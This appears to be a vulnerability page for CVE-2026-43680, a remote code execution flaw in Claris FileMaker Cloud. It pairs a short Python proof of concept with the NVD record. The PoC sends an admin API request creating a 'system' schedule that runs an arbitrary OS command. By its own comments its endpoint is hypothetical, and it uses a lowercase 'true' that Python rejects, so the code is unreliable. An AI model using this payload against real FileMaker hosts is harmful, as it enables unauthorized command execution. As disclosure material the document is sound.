CVE-2026-43680

import requests # Target API endpoint for creating schedules (Hypothetical endpoint based on vulnerability description) target_url = "https://<filemaker-cloud-host>/fmi/admin/api/v1/schedules" # Admin session cookie or token (Required due to PR:H privilege requirement) admin_session_token = "<VALID_ADMIN_CONSOLE_TOKEN>" # Headers headers = { "Authorization": f"Bearer {admin_session_token}", "Content-Type": "application/json" } # PoC Payload: Bypassing frontend restriction to execute arbitrary OS commands # The frontend usually restricts 'scriptType' to safe options, but we send 'system' directly. payload = { "scheduleName": "Malicious_PoC_Task", "scriptType": "system", # Bypass front-end restriction "command": "touch /tmp/poc_success && whoami", # Arbitrary OS command to execute "enabled": true } try: # Send malicious request to backend API response = requests.post(target_url, json=payload, headers=headers, verify=False) if response.status_code == 201: print("[+] PoC Successful: Malicious schedule created.") print("[+] The command 'touch /tmp/poc_success' should have been executed on the host.") else: print(f"[-] PoC Failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-43680", "sourceIdentifier": "[email protected]", "published": "2026-05-12T23:16:17.870", "lastModified": "2026-05-14T13:53:04.090", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Remote Code Execution vulnerability in Claris FileMaker Cloud allowed a user with Admin Console privileges to bypass a front-end restriction on OS Script schedule types and execute arbitrary operating system commands on the underlying host. This issue is fixed in FileMaker Cloud 2.22.0.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:claris:filemaker_cloud:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.22.0.5", "matchCriteriaId": "A0DBAD4E-B906-4130-8D79-FBDD67974E60"}]}]}], "references": [{"url": "https://support.claris.com/s/answerview?anum=000049153&language=en_US", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}